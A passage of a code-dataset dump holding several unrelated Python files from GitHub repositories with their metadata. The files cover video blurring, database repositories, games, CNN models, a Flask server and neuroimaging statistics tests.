now.tm_sec]\nprint(\"현재 시간 - \",nowTime[0],\":\",nowTime[1],\":\",nowTime[2])\n\n# video\ncap = cv2.VideoCapture('./Contours_Before.avi')\ntime.sleep(2)\n\n# save\nwidth = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\nheight = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\nfourcc = cv2.VideoWriter_fourcc(*'XVID')\nout = cv2.VideoWriter('./Contours_After.avi', fourcc, 30.0, (width,height))\n\n# resize\ndef resizeDown(img):\n downImg = cv2.resize(img, (int(width/2), int(width/2)), interpolation=cv2.INTER_AREA)\n return downImg \ndef resizeUp(img):\n upImg = cv2.resize(img, (width, height), interpolation=cv2.INTER_AREA)\n return upImg\n\n# 윤곽 감지\nfgbg = cv2.createBackgroundSubtractorMOG2()\ndef detect(frame):\n fgmask = fgbg.apply(frame)\n (contours, hierarchy) = cv2.findContours(fgmask.copy(), cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE)\n for c in contours:\n if cv2.contourArea(c) < 600:\n continue\n (x, y, w, h) = cv2.boundingRect(c)\n roi_frame = frame[y:y+h, x:x+w]\n blur = cv2.GaussianBlur(roi_frame,(31, 31), 0)\n frame[y:y+h, x:x+w] = blur\n return frame\n\n# loop\nwhile (cap.isOpened):\n ret, frame = cap.read()\n if ret == True:\n # resize 수정\n frame = resizeDown(frame)\n blurVideo = detect(frame)\n # resize 수정\n blurVideo = resizeUp(blurVideo)\n out.write(blurVideo)\n # cv2.imshow('blurVideo', blurVideo)\n else:\n break\n # VideoMove\n # try:\n # if videoMove == True:\n # print(\"Move !\")\n # videoMove = False\n # cv2.moveWindow('blurVideo', 100, 100)\n # except Exception as e:\n # pass\n if cv2.waitKey(1) & 0xFF == ord(\"q\"):\n break\n\n# time check\nnow = time.localtime() # 기기 시간\nnowTime2 = [now.tm_hour, now.tm_min, now.tm_sec]\nprint(\"현재 시간 - \",nowTime2[0],\":\",nowTime2[1],\":\",nowTime2[2])\n\nout.release()\ncap.release()\ncv2.destroyAllWindows()","repo_name":"Junhyeok95/JangTemp","sub_path":"Python Mosaic/Contours_Before.py","file_name":"Contours_Before.py","file_ext":"py","file_size_in_byte":2108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15279287702","text":"from api.models.Committee import Committee\nimport rethinkdb as r\n\nclass CommitteeRepository:\n def __init__(self, uow):\n self.uow = uow\n self.table = uow.tables.committees\n\n def get_all(self, query_parameters):\n query = (self.table.eq_join(\"group_id\", self.uow.tables.groups)\n .map(r.row.merge(lambda x: {\n \"right\": {\n \"g_name\": x[\"right\"][\"name\"]\n }\n }))\n .without({\"right\": {\"id\": True}})\n .without({\"right\": {\"name\": True}})\n .zip()\n .eq_join(\"corporate_energy_director_id\", self.uow.tables.contacts)\n .map(r.row.merge(lambda x: {\n \"right\": {\n \"c_e_d\": x[\"right\"][\"full_name\"]\n }\n }))\n .without({\"right\": {\"id\": True}})\n .without({\"right\": {\"full_name\": True}})\n .zip())\n\n return self.uow.apply_query_parameters(query, query_parameters)\n\n def insert(self, model):\n try:\n del model.id\n except AttributeError:\n pass\n\n rv = self.uow.run(self.table.insert(model.__dict__))\n model_id = rv['generated_keys'][0]\n\n return model_id\n\n def get(self, model_id):\n model_raw = self.uow.run(self.table.get(model_id))\n model = Committee(model_raw)\n\n model.energy_director_model = self.uow.run(self.uow.tables.contacts.get(model.corporate_energy_director_id))\n model.group_model = self.uow.run(self.uow.tables.groups.get(model.group_id))\n\n model.facility_directors_model = []\n for f in model.facility_directors_ids:\n model.facility_directors_model.append(self.uow.run(self.uow.tables.contacts.get(f)))\n\n model.team_members_model = []\n for t in model.team_members_ids:\n model.team_members_model.append(self.uow.run(self.uow.tables.contacts.get(t)))\n\n return model\n\n def update(self, model):\n self.uow.run(self.table.update(model.__dict__))\n\n def delete(self, model_id):\n self.uow.run(self.table.get(model_id).delete())","repo_name":"naveedalfarhan/MyPathian","sub_path":"db/repositories/committee_repository.py","file_name":"committee_repository.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35748818628","text":"import pygame\n\nclass GameObject(object):\n \"\"\"base class for moving objects\"\"\"\n def __init__(self, x, y, images_up, images_down, images_left, images_right, map, *args, **kwargs):\n self.startx = x\n self.starty = y\n self.start_direction = self.direction\n \n \n self.map = map\n self.images_up = images_up\n self.images_down = images_down\n self.images_left = images_left\n self.images_right = images_right\n self.images = images_right\n self.index = 0\n self.image = self.images[self.index]\n \n if self.direction == \"right\":\n self.speedx = 1\n self.speedy = 0\n if self.direction == \"left\":\n self.speedx = -1\n self.speedy = 0\n if self.direction == \"up\":\n self.speedx = 0\n self.speedy = -1\n if self.direction == \"down\":\n self.speedx = 0\n self.speedy = 1\n\n\n\n\n\n self.rect = self.image.get_rect(topleft = (x, y))\n self.next_image = 1\n \n #self.tile = tile\n return super().__init__(*args, **kwargs)\n \n \n\n\n def draw(self, surface):\n surface.blit(self.image, (self.rect.x, self.rect.y))\n\n def to_start_position(self):\n self.rect.x = self.startx\n self.rect.y = self.starty\n self.direction = self.start_direction\n self.change_direction(self.start_direction)\n","repo_name":"Valentin2508247/pacman","sub_path":"PacMan/GameObject.py","file_name":"GameObject.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8301919972","text":"def annoy(B):\n '''\n Input: B | list of box dimension triples\n Output: A | list of indicies of max nesting boxes, increasing in dimension\n '''\n\n def update(box):\n annoyance[box] = 1\n\n for value in new_sorted[box]:\n if value not in annoyance:\n update(value)\n if annoyance[value] + 1 > annoyance[box]:\n sub_boxes[box] = value\n annoyance[box] = annoyance[value] + 1\n\n sorted_boxes = {tuple(sorted(B[i])):i for i in range(len(B))}\n new_sorted = {i:[] for i in sorted_boxes}\n sub_boxes = {i:None for i in sorted_boxes}\n\n for i in sorted_boxes:\n for j in sorted_boxes:\n count = 0\n for k in range(3):\n if i[k] > j[k]:\n count += 1\n \n if count == 3:\n new_sorted[i].append(j)\n\n annoyance = {}\n indices = []\n\n for i in sorted_boxes:\n update(i)\n\n max_value = max(annoyance.values())\n\n for i in annoyance:\n if annoyance[i] == max_value:\n box = i\n\n while max_value > 0:\n indices.append(box)\n box = sub_boxes[box]\n max_value -= 1\n indices.reverse()\n\n return [sorted_boxes[i] for i in indices]\n","repo_name":"abhi12mohan/Algorithm-Fundamentals","sub_path":"max_nested_boxes.py","file_name":"max_nested_boxes.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19018097324","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import stats\n\nx = np.linspace(-4.0, 4.0, 1000)\n\n# gaussian\nu = 0\nsigma = 1\n\np_x_gaussian = 1/(sigma * np.sqrt(2 * np.pi)) * np.exp(- (x - u)**2 / (2 * sigma**2))\n\nplt.plot(x, p_x_gaussian)\nplt.title(\"Guassian Probability Distribution\")\nplt.show()\nplt.close()\n\n# chi-square\n\nx = np.linspace(0.0, 5.0, 1000)\n\ndf = 1\n\np_x_chi_sq = stats.chi2.pdf(x, df)\n\nplt.plot(x, p_x_chi_sq)\nplt.title(\"Chi Squared Probability Distribution\")\nplt.show()\nplt.close()","repo_name":"maj-personal-repos/CAP5771","sub_path":"Notebooks/0 - Mathematics Review/Probability and Statistics/ex 1.1 - probability_distributions.py","file_name":"ex 1.1 - probability_distributions.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"15507262581","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Date : 2018-11-17 16:44:31\n# @Author : Your Name (you@example.org)\n# @Link : http://example.org\n# @Version : $Id$\n\nimport os\nimport sys\nimport argparse\nimport cryoorigami.origamiem as em\nimport cryoorigami.utilities as util\n\n\ndef main():\n\n parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n parser.add_argument(\"-i\", \"--input\", type=str, help=\"Particle star file\")\n parser.add_argument(\"-o\", \"--output\", type=str, help=\"Output directory\", default=None)\n parser.add_argument(\"-mic\", \"--micrograph\", type=str, help=\"Micrograph star file\")\n\n args = parser.parse_args()\n\n # Prepare args dict\n args_dict = {'input': args.input,\n 'output': args.output,\n 'micrograph': args.micrograph\n }\n\n # Check if the input file exists\n if args_dict['input'] is None or not os.path.isfile(args_dict['input']):\n parser.print_help()\n sys.exit('Input file does not exist!')\n\n # Check if the reference file exists\n if args_dict['micrograph'] is None and not os.path.isfile(args_dict['micrograph']):\n parser.print_help()\n sys.exit('Micrographs file does not exist!')\n\n # Create an EM project object\n new_project = em.Project(name='EMClean')\n new_project.set_output_directory(args_dict['output'], project_root='.')\n\n # Write parameters to args filename\n args_filename = new_project.output_directory+'/args.yaml'\n util.write_config_file(args_filename, args_dict)\n\n # Read particles\n new_project.read_particles(args_dict['input'])\n print('Read particle star file {}'.format(args_dict['input']))\n\n # Read particle pixel size information\n new_project.read_particle_apix()\n\n new_project.read_micrographs(args_dict['micrograph'])\n print('Read micrographs star file {}'.format(args_dict['micrograph']))\n\n # Read micrograph pixel size information\n new_project.read_mic_apix()\n\n # Read micrograph header\n new_project.read_mic_header()\n\n # Prepare input and output files\n new_project.prepare_io_files_star()\n\n # Check particle positions\n new_project.check_particle_pos()\n\n # Delete outside particles\n new_project.delete_outside_ptcls()\n\n # Write output files\n new_project.write_output_files()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"douglaslab/cryoorigami","sub_path":"bin/em_cleanstar.py","file_name":"em_cleanstar.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"74656395094","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n''' \n@File : GM2_get_started.py\n@Time : 2022/11/26 16:47:11\n'''\nimport sqlalchemy as db\nimport os\n\n\ncurdir = os.path.dirname(__file__)\nfile_path = f\"{curdir}/GM0_tb.sqlite\"\nengine = db.create_engine(f\"sqlite:///{file_path}\")\nengine_mysql = db.create_engine(f\"mysql+pymysql://jyeho:123456@localhost/GM0_tb\")\n# dialect+driver://username:password@host:port/database\n\nclass CRUD:\n def __init__(self) -> None:\n self.conn = engine.connect()\n ...\n \n def select(self, key=\"all\"):\n try:\n if key == \"all\":\n sql_text_select_all = db.text(\"select * from :tb_name\")\n result = self.conn.execute(sql_text_select_all, tb_name = \"student\")\n for row in result:\n print(row)\n elif key == \"where\":\n sql_text_select_where = db.text(\"select * from :tb_name where :tail\")\n result = self.conn.execute(sql_text_select_where, tb_name = \"student\", tail = \"student.s_pass is True\")\n for row in result:\n print(row)\n finally:\n result.close()\n\n\nif __name__ == \"__main__\":\n # 1 - engine.table_names()\n insp = db.inspect(engine)\n print(insp.get_table_names())\n # print(engine.table_names()) # sqlalchemy 1.4 以后就废除了\n \n # 2 - engine.dispost()\n engine.dispose()\n \n # 3 - engine.begin()\n # 返回一个上下文管理器,它传递一个已建立事务的连接。一旦操作成功,事务将被提交,否则将被回滚\n with engine.begin() as session:\n result = session.execute(\"select * from student\")\n for row in result:\n print(row)\n \n # # 4 - engine.driver()\n # print(engine_mysql.driver())\n \n # 5 - engine.transaction()\n # 事务()在事务边界内执行给定的函数\n def func():\n ...\n engine.transaction(func)\n \n","repo_name":"xifooo/LTC","sub_path":"database/sqlalchemy_module/GM1_get_started.py","file_name":"GM1_get_started.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18830017832","text":"def saudacao (msg, nome):\n return f'{msg} {nome}'\nvar = saudacao(\"Boa tarde\", \"Natalia\")\nprint (var)\n\ndef soma(a,b,c):\n return (a+b+c)\nsomar = soma(1,2,3)\nprint(somar)\n\ndef percent(d,e):\n f = ((d*e)/100)+d\n return f\npreco= percent(100, 5)\nprint(preco)\n\ndef fizzbuzz(g):\n if g%3 == 0 and g%5 == 0:\n return f\"fizzbuzz, {g}\"\n if g%5 == 0:\n return f\"buzz, {g}\"\n if g%3 == 0:\n return f\"fizz, {g}\"\n return g\nteste = fizzbuzz(15)\nprint(teste)\n\nfrom random import randint\nfor i in range(2):\n aleatorio = randint(0, 100)\n print(fizzbuzz(aleatorio))\n","repo_name":"Nataliaartini/cursoPython","sub_path":"intermediario/exercicios/exercicios2.py","file_name":"exercicios2.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72282541332","text":"'''\nReference:\n FedML: https://github.com/FedML-AI/FedML\n'''\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\n'''Federated EMNIST'''\nclass CNN_DropOut(nn.Module):\n def __init__(self, only_digits=False, num_channel=1):\n super(CNN_DropOut, self).__init__()\n self.conv2d_1 = nn.Conv2d(num_channel, 32, kernel_size=3)\n self.max_pooling = nn.MaxPool2d(2, stride=2)\n self.conv2d_2 = nn.Conv2d(32, 64, kernel_size=3)\n self.dropout_1 = nn.Dropout(0.25)\n self.flatten = nn.Flatten()\n self.linear_1 = nn.Linear(9216, 128)\n self.dropout_2 = nn.Dropout(0.5)\n self.linear_2 = nn.Linear(128, 10 if only_digits else 62)\n self.relu = nn.ReLU()\n #self.softmax = nn.Softmax(dim=1)\n\n def forward(self, x):\n x = self.conv2d_1(x)\n x = self.relu(x)\n x = self.conv2d_2(x)\n x = self.relu(x)\n x = self.max_pooling(x)\n x = self.dropout_1(x)\n x = self.flatten(x)\n x = self.linear_1(x)\n x = self.relu(x)\n x = self.dropout_2(x)\n x = self.linear_2(x)\n #x = self.softmax(self.linear_2(x))\n return x\n\n\n'''CelebA'''\nclass CNN(nn.Module):\n def __init__(self, num_channel=3, num_class=2):\n super(CNN, self).__init__()\n self.layer1 = self._make_layer(num_channel, 32, 15)\n self.layer2 = self._make_layer(32, 32, 15)\n self.layer3 = self._make_layer(32, 32, 16)\n self.layer4 = self._make_layer(32, 32, 16)\n self.fc = nn.Linear(1152, num_class)\n\n self.layer1.apply(xavier_uniform)\n self.layer2.apply(xavier_uniform)\n self.layer3.apply(xavier_uniform)\n self.layer4.apply(xavier_uniform)\n self.fc.apply(xavier_uniform)\n\n\n def _make_layer(self, inp, outp=32, pad=0):\n layers = [\n nn.Conv2d(inp, outp, kernel_size=3, padding=(outp - inp)//2),\n nn.BatchNorm2d(outp),\n nn.MaxPool2d(outp, stride=2, padding=pad),\n nn.ReLU()\n ]\n return nn.Sequential(*layers)\n\n def forward(self, x):\n x = self.layer1(x)\n x = self.layer2(x)\n x = self.layer3(x)\n x = self.layer4(x)\n x = x.view(x.size(0), -1)\n x = self.fc(x)\n return x\n\n\n\ndef xavier_uniform(m):\n if isinstance(m, nn.Linear):\n nn.init.xavier_uniform_(m.weight)\n if m.bias is not None:\n nn.init.zeros_(m.bias)\n elif isinstance(m, nn.Conv2d):\n nn.init.xavier_uniform_(m.weight)\n if m.bias is not None:\n nn.init.zeros_(m.bias)\n\n\n'''CelebA\n\nReference:\n https://github.com/PengchaoHan/EasyFL\n'''\n\nclass ModelCNNCeleba(nn.Module):\n def __init__(self):\n super(ModelCNNCeleba, self).__init__()\n self.conv1 = nn.Sequential(\n nn.Conv2d(in_channels=3,\n out_channels=32,\n kernel_size=3,\n stride=1,\n padding=1,\n ),\n\n nn.BatchNorm2d(32),\n nn.MaxPool2d(kernel_size=2, stride=2),\n nn.ReLU(),\n )\n self.conv2 = nn.Sequential(\n nn.Conv2d(in_channels=32,\n out_channels=32,\n kernel_size=3,\n stride=1,\n padding=1,\n ),\n\n nn.BatchNorm2d(32),\n nn.MaxPool2d(kernel_size=2, stride=2),\n nn.ReLU(),\n )\n self.conv3 = nn.Sequential(\n nn.Conv2d(in_channels=32,\n out_channels=32,\n kernel_size=3,\n stride=1,\n padding=1,\n ),\n\n nn.BatchNorm2d(32),\n nn.MaxPool2d(kernel_size=2, stride=2, padding=1),\n nn.ReLU(),\n )\n self.conv4 = nn.Sequential(\n nn.Conv2d(in_channels=32,\n out_channels=32,\n kernel_size=3,\n stride=1,\n padding=1,\n ),\n\n nn.BatchNorm2d(32),\n nn.MaxPool2d(kernel_size=2, stride=2, padding=1),\n nn.ReLU(),\n )\n\n self.fc = nn.Linear(1152, 2)\n\n def forward(self, x):\n output1 = self.conv1(x)\n output2 = self.conv2(output1)\n output3 = self.conv3(output2)\n output4 = self.conv4(output3)\n output = output4.view(-1, 1152)\n output = self.fc(output)\n return output\n\n\n\n'''Partitioned CIFAR100'''\nclass CNN_CIFAR_dropout(torch.nn.Module):\n \"\"\"Model Used by the paper introducing FedAvg\"\"\"\n\n def __init__(self, num_class=10):\n super(CNN_CIFAR_dropout, self).__init__()\n self.conv1 = nn.Conv2d(\n in_channels=3, out_channels=32, kernel_size=(3, 3)\n )\n self.conv2 = nn.Conv2d(\n in_channels=32, out_channels=64, kernel_size=(3, 3)\n )\n self.conv3 = nn.Conv2d(\n in_channels=64, out_channels=64, kernel_size=(3, 3)\n )\n\n self.fc1 = nn.Linear(4 * 4 * 64, 64)\n self.fc2 = nn.Linear(64, num_class)\n\n self.dropout = nn.Dropout(p=0.2)\n\n def forward(self, x):\n x = F.relu(self.conv1(x))\n x = F.max_pool2d(x, 2, 2)\n x = self.dropout(x)\n\n x = F.relu(self.conv2(x))\n x = F.max_pool2d(x, 2, 2)\n x = self.dropout(x)\n\n x = self.conv3(x)\n x = self.dropout(x)\n x = x.view(-1, 4 * 4 * 64)\n\n x = F.relu(self.fc1(x))\n\n x = self.fc2(x)\n return x","repo_name":"euphoria0-0/Active-Client-Selection-for-Communication-efficient-Federated-Learning","sub_path":"src/model/CNN.py","file_name":"CNN.py","file_ext":"py","file_size_in_byte":5553,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"67"} +{"seq_id":"41502545711","text":"from Abstract.Expresion import Expresion\nfrom Entorno.Simbolo import Simbolo\nfrom Entorno.Entorno import Environment\nfrom Entorno.Valor import Value\nfrom Enum.tipoExpresion import tipoExpresion\n\nclass Arreglo(Expresion):\n def __init__(self,tipo:tipoExpresion, listaDeValores) -> None:\n super().__init__()\n self.tipo = tipo\n self.listaDeValores = listaDeValores\n\n def compile(self, entorno: Environment) -> Value:\n\n try:\n\n if self.tipo == tipoExpresion.ARREGLO:\n asTmp = self.generator.newTemp()\n self.generator.addAsig(asTmp,\"H\")\n self.generator.addSetHeap(\"H\",str(len(self.listaDeValores)))\n self.generator.addNextHeap()\n valores = []\n for valor in self.listaDeValores:\n valor_ = valor.compile(entorno)\n valores.append(valor_.value)\n\n for valor in valores:\n self.generator.addSetHeap(\"H\",str(valor))\n self.generator.addNextHeap()\n \n \n #tempVar: Simbolo =entorno.saveVariable(self.valor,tipoExpresion.STRING)\n #self.generator.addSetStack(str(tempVar.position),asTmp)\n\n #entorno.saveVariable(self.valor,tipoExpresion.STRING)\n\n return Value(str(str(asTmp)),False,self.tipo)\n\n elif self.tipo == tipoExpresion.CHAR:\n for character in self.valor:\n return Value(str(ord(character)),False,self.tipo)\n\n \n except:\n print('No se reconoce el valor string')\n return Value(\"0\",False,tipoExpresion.STRING)\n ","repo_name":"Macario12/OLC2-201905837_Proyecto2","sub_path":"Backend/Expresion/Primitivas/Arreglo.py","file_name":"Arreglo.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11157559405","text":"import tkinter as tk\n\n\nclass PathfinderApp:\n\n def __init__(self, _root):\n self.root = _root\n self.width = 800\n self.height = 800\n self.refreshing_rate = 50\n self.root.geometry(\"{}x{}\".format(self.width, self.height))\n self.canva_scene = CanvaScene(self)\n\n self.start_point, self.end_point = self.canva_scene.get_objectives()\n\n def update(self):\n self.calc_direction(self.start_point, self.end_point)\n\n def calc_direction(self, _start_point, _end_point):\n pass\n \n\nclass CanvaScene:\n\n def __init__(self, _app):\n self.cell_size = 10\n self.width = 600\n self.height = 600\n self.rows = self.height // self.cell_size\n self.cols = self.width // self.cell_size\n self.cells = []\n self.canva = tk.Canvas(_app.root, bg=\"white\")\n self.canva.config(width=self.width, height=self.height)\n self.canva.pack(side=tk.TOP)\n\n self.draw_grid()\n self.populate_grid(self.canva)\n\n self.start_point = self.place_point(10, 24, \"start\")\n self.end_point = self.place_point(50, 35, \"end\")\n self.place_point(35, 41, \"obstacle\")\n\n def draw_grid(self):\n for i in range(self.rows+1):\n self.canva.create_line(10, (i * self.cell_size), self.width, (i * self.cell_size))\n for j in range(self.cols+1):\n self.canva.create_line((j * self.cell_size), 10, (j * self.cell_size), self.height)\n\n def populate_grid(self, _canva):\n self.cells = [\n Cell(x, y, self.cell_size, _canva, ((x * self.cols)+y))\n for x in range(self.rows)\n for y in range(self.cols)\n ]\n\n def place_point(self, _x, _y, _nature):\n cell_index = (_x * self.cols)+_y\n\n if _nature == \"start\":\n self.cells[cell_index].fill_color(self.canva, \"green\")\n elif _nature == \"end\":\n self.cells[cell_index].fill_color(self.canva, \"red\")\n elif _nature == \"obstacle\":\n self.cells[cell_index].fill_color(self.canva, \"black\")\n\n return _x, _y\n\n def get_objectives(self):\n return self.start_point, self.end_point\n\n\nclass Cell:\n\n def __init__(self, _x, _y, _size, _canva, _id):\n self.coords = (_x, _y)\n self.size = _size\n self.id = _id\n\n self.rect = _canva.create_rectangle((_x * self.size),\n (_y * self.size),\n ((_x * self.size) + self.size),\n ((_y * self.size) + self.size),\n fill='white', tags=self.id)\n\n def fill_color(self, _canva, _color):\n _canva.itemconfigure(self.rect, fill=_color)\n\n\nroot = tk.Tk()\napp = PathfinderApp(root)\n\n\n# App start point\n\nroot.mainloop()\n\n\n\n","repo_name":"Tomahus/Pathfinder","sub_path":"pathfind.py","file_name":"pathfind.py","file_ext":"py","file_size_in_byte":2839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"75008177173","text":"#!/bin/bash python\n\nfrom __future__ import absolute_import\n\n\nimport sys\nfrom waitress import serve\n\n\nfrom app import make_app\nfrom settings import ProductionConfig\nimport logging\nfrom logging.handlers import RotatingFileHandler\n\nfrom flask import request\n\nlog = logging.getLogger(\"werkzeug\")\nlogging.basicConfig(\n level=logging.INFO,\n)\nformatter = logging.Formatter(\"%(asctime)s - %(levelname)s - %(message)s\")\nhandler = RotatingFileHandler(\"./.logs/app.log\", maxBytes=1000000, backupCount=1)\nhandler.setLevel(logging.DEBUG)\nhandler.setFormatter(formatter)\n\nlogger = logging.Logger(\"werkzeug\", logging.DEBUG)\n\napp = make_app(ProductionConfig, handler)\n\n@app.before_first_request\ndef setup_logging():\n if app.debug:\n log.addHandler(logging.StreamHandler(stream=sys.stdout))\n else:\n log.addHandler(handler)\n\n@app.after_request\ndef log_request(response):\n app.logger.log(\n logging.DEBUG, \n msg=\"REQ: {} {} {}\".format(request.method, \n request.path, \n response.status_code ))\n return response\n\nserve(app, port=80)","repo_name":"Lorioux/donatecare","sub_path":"backend/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38213366972","text":"import pandas as pd\nfrom Heroku_functions import postgres_connect, postgres_execute\n\n\ndef heroku_upload():\n \"\"\"upload database of new-found products to heroku\"\"\"\n print(\"uploading\", len(data), \"rows to heroku\")\n records = data.itertuples(index=False)\n result = list(records)\n records_list_template = ','.join(['%s'] * len(result))\n\n insert_query = '''INSERT INTO \"emissions_stats\" (\n food_commodity,\n product_contains,\n sector_contains,\n product_not_contains,\n emissions)\n VALUES {}'''.format(records_list_template)\n\n conn = postgres_connect()\n cur = conn.cursor()\n cur.execute(insert_query, result)\n conn.commit()\n print(\"rows uploaded\")\n\n\ndata = pd.read_csv('SuEatableLife_Food_Fooprint_database.csv').iloc[:324, :5]\ndel_query = '''\nDELETE FROM emissions_stats\n'''\npostgres_execute(del_query)\nheroku_upload()\n\n","repo_name":"TheMann774/A-level-project","sub_path":"upload_emissions_stats.py","file_name":"upload_emissions_stats.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37972246198","text":"import os\nimport sys\nfrom pathlib import Path\n\nscript_dir = Path(os.path.realpath(__file__))\ntest_dir = script_dir.parent\npnl_randomise_dir = test_dir.parent / 'lib'\nprint(pnl_randomise_dir)\n\nsys.path.append(str(pnl_randomise_dir))\nfrom randomise_summary import *\n\n\ndef corrpmap():\n location = 'test_tbss/stats/tbss_FW_tfce_corrp_tstat1.nii.gz'\n threshold = 0.95\n threshold = 0.95 - 0.00001\n\n corrpMap = CorrpMap(location, threshold)\n return corrpMap\n\ndef test_corrpMap_info():\n corrpMap = corrpmap()\n\n assert corrpMap.modality == 'FW', 'modality does not match'\n assert corrpMap.significant == True, 'significance check'\n assert corrpMap.corrp_data.shape == (182,218,182), 'data array size check'\n assert corrpMap.vox_num_total == 117139, 'nonzero voxel number check in the skeleton'\n\ndef test_corrpMap_pstats():\n corrpMap = corrpmap()\n thresholded_map = tempfile.NamedTemporaryFile(suffix='tmp.nii.gz')\n command = f'fslmaths {corrpMap.location} \\\n -thr {corrpMap.threshold} -mas {corrpMap.skel_mask_loc} \\\n -bin {thresholded_map.name}; fslstats {thresholded_map.name} -V'\n command = f'fslmaths {corrpMap.location} \\\n -thr {corrpMap.threshold} -mas {corrpMap.skel_mask_loc} \\\n -bin tmp; fslstats tmp -V'\n output = os.popen(command).read()\n assert corrpMap.significant_voxel_num == int(output.split(' ')[0]), \\\n 'nonzero voxel number check'\n\n command = f'fslmaths {corrpMap.location} \\\n -thr {corrpMap.threshold} {thresholded_map.name};\\\n fslstats {thresholded_map.name} -M'\n output = os.popen(command).read()\n np.testing.assert_almost_equal(corrpMap.significant_voxel_mean, \n 1-float(output.split(' ')[0]),\n decimal=4)\n \ndef test_corrpMap_sig_loc_each_hemisphere():\n corrpMap = corrpmap()\n fsl_dir = Path(environ['FSLDIR'])\n fsl_data_dir = fsl_dir / 'data'\n HO_dir = fsl_data_dir / 'atlases' / 'HarvardOxford'\n # 3d map\n HO_sub_thr0_1mm = HO_dir / 'HarvardOxford-sub-maxprob-thr0-1mm.nii.gz'\n\n HO_left_map = tempfile.NamedTemporaryFile(suffix='tmp.nii.gz')\n masked_map = tempfile.NamedTemporaryFile(suffix='tmp.nii.gz', \n prefix='./')\n command = f'''\n fslmaths {HO_sub_thr0_1mm} -thr 1 -uthr 2 -bin {HO_left_map.name};\n fslmaths {corrpMap.location} -mas {HO_left_map.name} {masked_map.name};\n fslmaths {masked_map.name} -thr 0.95 -bin {masked_map.name}; \n fslstats {masked_map.name} -V'''\n output = os.popen(command).read()\n print(command)\n print(output)\n print(corrpMap.significant_voxel_left_num)\n assert corrpMap.significant_voxel_left_num==float(output.split(' ')[0]),\\\n 'checking the number of significant voxels on the left'\n\n\ndef test_corrpMap_update_with_contrast_test():\n corrpMap = corrpmap()\n\n #contrast_file = 'test_tbss/stats/design.con'\n corrpMap.contrast_array = np.array([[1, -1], [-1, 1]])\n corrpMap.get_contrast_info_english()\n assert corrpMap.contrast_lines == \\\n ['Group 1 > Group 2', 'Group 1 < Group 2'], 'contrast line check'\n\n corrpMap.contrast_array = np.array([[-1, 1], [1, -1]])\n corrpMap.get_contrast_info_english()\n assert corrpMap.contrast_lines == \\\n ['Group 1 < Group 2', 'Group 1 > Group 2'], 'contrast line check'\n\n # covariate\n corrpMap.contrast_array = np.array([[-1, 1, 0], [1, -1, 0]])\n corrpMap.get_contrast_info_english()\n assert corrpMap.contrast_lines == \\\n ['Group 1 < Group 2', 'Group 1 > Group 2'], 'contrast line check'\n \n # three group\n corrpMap.contrast_array = np.array([[-1, 0, 1], [1, 0, -1]])\n corrpMap.get_contrast_info_english()\n assert corrpMap.contrast_lines == \\\n ['Group 1 < Group 3', 'Group 1 > Group 3'], 'contrast line check'\n\n # three group\n corrpMap.contrast_array = np.array([[1, 0, -1], [-1, 0, 1]])\n corrpMap.get_contrast_info_english()\n assert corrpMap.contrast_lines == \\\n ['Group 1 > Group 3', 'Group 1 < Group 3'], 'contrast line check'\n\n # correlation only\n corrpMap.contrast_array = np.array([[0, 0, 1], [0, 0, -1]])\n corrpMap.get_contrast_info_english()\n assert corrpMap.contrast_lines == \\\n ['Positively correlated with col 3', \n 'Negatively correlated with col 3'], 'contrast line check'\n\n # correlation only\n corrpMap.contrast_array = np.array([[0, 0, 1], [0, 0, -1]])\n corrpMap.get_contrast_info_english()\n assert corrpMap.contrast_lines == \\\n ['Positively correlated with col 3', \n 'Negatively correlated with col 3'], 'contrast line check'\n\n # interaction effect\n # correlation only\n corrpMap.contrast_array = np.array([[0, 0, 1, -1], [0, 0, -1, 1]])\n corrpMap.get_contrast_info_english()\n assert corrpMap.contrast_lines == \\\n ['Positive Interaction', \n 'Negative Interaction'], \\\n 'interaction line check'\n\n matrix_file = 'test_tbss/stats/design.mat'\n corrpMap.matrix_file = matrix_file\n corrpMap.get_matrix_info()\n print(corrpMap.group_cols)\n # correlation only\n corrpMap.contrast_array = np.array([[0, 0, 1, -1], [0, 0, -1, 1]])\n #assert corr\n # if group column is zero\n\n\n# todo write functions to test each functions\ndef get_detailed_corrp():\n # TEST randomise_summary\n location = 